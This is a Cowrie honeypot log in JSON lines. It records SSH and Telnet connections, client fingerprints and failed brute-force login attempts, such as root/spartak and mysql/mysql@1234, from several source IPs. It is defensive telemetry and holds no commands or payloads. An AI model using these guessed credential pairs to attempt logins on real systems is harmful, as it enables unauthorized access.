{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:17:52.627053Z","src_ip":"159.203.92.129","session":"7cd57354442f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:17:52.631050Z","src_ip":"159.203.92.129","session":"7cd57354442f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"applorig","password":"123456","message":"login attempt [applorig/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:17:52.641484Z","src_ip":"159.203.92.129","session":"7cd57354442f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.01858973503113,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:17:53.177122Z","src_ip":"179.99.174.129","session":"5daaaced6561","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:17:53.648264Z","src_ip":"159.203.92.129","session":"7cd57354442f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"179.99.174.129","src_port":58252,"dst_ip":"10.17.0.5","dst_port":23,"session":"f6141482ad50","protocol":"telnet","message":"New connection: 179.99.174.129:58252 (10.17.0.5:23) [session: f6141482ad50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:17:54.359495Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":45518,"dst_ip":"159.203.135.109","dst_port":23,"session":"570df1ba8b93","protocol":"telnet","message":"New connection: 185.26.126.47:45518 (159.203.135.109:23) [session: 570df1ba8b93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:17:55.546042Z"}
{"eventid":"cowrie.session.connect","src_ip":"179.99.174.129","src_port":58980,"dst_ip":"10.17.0.5","dst_port":23,"session":"8b8af1ad05f6","protocol":"telnet","message":"New connection: 179.99.174.129:58980 (10.17.0.5:23) [session: 8b8af1ad05f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:18:02.113169Z"}
{"eventid":"cowrie.session.closed","duration":10.223111867904663,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:18:05.769044Z","src_ip":"185.26.126.47","session":"570df1ba8b93","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.0015058517456,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:18:07.207313Z","src_ip":"179.99.174.129","session":"806652382721","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":56970,"dst_ip":"159.203.135.109","dst_port":22,"session":"d776f3c0d2fe","protocol":"ssh","message":"New connection: 122.168.114.167:56970 (159.203.135.109:22) [session: d776f3c0d2fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:18:08.623754Z"}
{"eventid":"cowrie.session.connect","src_ip":"179.99.174.129","src_port":60008,"dst_ip":"10.17.0.5","dst_port":23,"session":"72e0195685f5","protocol":"telnet","message":"New connection: 179.99.174.129:60008 (10.17.0.5:23) [session: 72e0195685f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:18:11.208864Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:18:12.479535Z","src_ip":"122.168.114.167","session":"d776f3c0d2fe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:18:12.482603Z","src_ip":"122.168.114.167","session":"d776f3c0d2fe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00159883499146,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:18:15.692326Z","src_ip":"179.99.174.129","session":"625123ada0fd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"179.99.174.129","src_port":33502,"dst_ip":"10.17.0.5","dst_port":23,"session":"2766235748c8","protocol":"telnet","message":"New connection: 179.99.174.129:33502 (10.17.0.5:23) [session: 2766235748c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:18:28.775921Z"}
{"eventid":"cowrie.session.closed","duration":0.0051839351654052734,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:18:28.780978Z","src_ip":"179.99.174.129","session":"2766235748c8","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"123","message":"login attempt [deploy/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:18:31.796651Z","src_ip":"122.168.114.167","session":"d776f3c0d2fe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":59546,"dst_ip":"159.203.135.109","dst_port":22,"session":"7323578a2acb","protocol":"ssh","message":"New connection: 159.203.92.129:59546 (159.203.135.109:22) [session: 7323578a2acb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:18:36.174078Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:18:36.177186Z","src_ip":"159.203.92.129","session":"7323578a2acb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:18:36.180818Z","src_ip":"159.203.92.129","session":"7323578a2acb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"applorig","password":"12345678","message":"login attempt [applorig/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:18:36.190312Z","src_ip":"159.203.92.129","session":"7323578a2acb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"27.8","message":"Connection lost after 27.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:18:36.396062Z","src_ip":"122.168.114.167","session":"d776f3c0d2fe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:18:37.195097Z","src_ip":"159.203.92.129","session":"7323578a2acb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.253.79.194","src_port":22186,"dst_ip":"10.17.0.5","dst_port":22,"session":"48ba4c87321f","protocol":"ssh","message":"New connection: 182.253.79.194:22186 (10.17.0.5:22) [session: 48ba4c87321f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:18:46.015004Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:18:46.020092Z","src_ip":"182.253.79.194","session":"48ba4c87321f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:18:46.285077Z","src_ip":"182.253.79.194","session":"48ba4c87321f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"spartak","message":"login attempt [root/spartak] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:18:47.382749Z","src_ip":"182.253.79.194","session":"48ba4c87321f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:18:48.648691Z","src_ip":"182.253.79.194","session":"48ba4c87321f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"85.11.167.8","src_port":51136,"dst_ip":"10.17.0.5","dst_port":22,"session":"fcbd9d3d0ed5","protocol":"ssh","message":"New connection: 85.11.167.8:51136 (10.17.0.5:22) [session: fcbd9d3d0ed5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:18:49.076696Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:18:49.170150Z","src_ip":"85.11.167.8","session":"fcbd9d3d0ed5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":59378,"dst_ip":"159.203.135.109","dst_port":22,"session":"af3e94683d1e","protocol":"ssh","message":"New connection: 122.168.114.167:59378 (159.203.135.109:22) [session: af3e94683d1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:18:53.219362Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:18:55.766607Z","src_ip":"122.168.114.167","session":"af3e94683d1e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:18:55.770545Z","src_ip":"122.168.114.167","session":"af3e94683d1e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"esearch","password":"esearch","message":"login attempt [esearch/esearch] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:19:07.964440Z","src_ip":"122.168.114.167","session":"af3e94683d1e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"18.4","message":"Connection lost after 18.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:19:11.639374Z","src_ip":"122.168.114.167","session":"af3e94683d1e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":42072,"dst_ip":"159.203.135.109","dst_port":22,"session":"cc1d897b47d9","protocol":"ssh","message":"New connection: 159.203.92.129:42072 (159.203.135.109:22) [session: cc1d897b47d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:19:19.147345Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:19:19.152042Z","src_ip":"159.203.92.129","session":"cc1d897b47d9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:19:19.156587Z","src_ip":"159.203.92.129","session":"cc1d897b47d9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"applorig","password":"321","message":"login attempt [applorig/321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:19:19.168266Z","src_ip":"159.203.92.129","session":"cc1d897b47d9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:19:20.174812Z","src_ip":"159.203.92.129","session":"cc1d897b47d9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":33552,"dst_ip":"159.203.135.109","dst_port":22,"session":"9479b172897d","protocol":"ssh","message":"New connection: 122.168.114.167:33552 (159.203.135.109:22) [session: 9479b172897d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:19:31.940801Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:19:35.096428Z","src_ip":"122.168.114.167","session":"9479b172897d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:19:35.116514Z","src_ip":"122.168.114.167","session":"9479b172897d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"mysql@1234","message":"login attempt [mysql/mysql@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:19:43.947258Z","src_ip":"122.168.114.167","session":"9479b172897d","protocol":"ssh"}
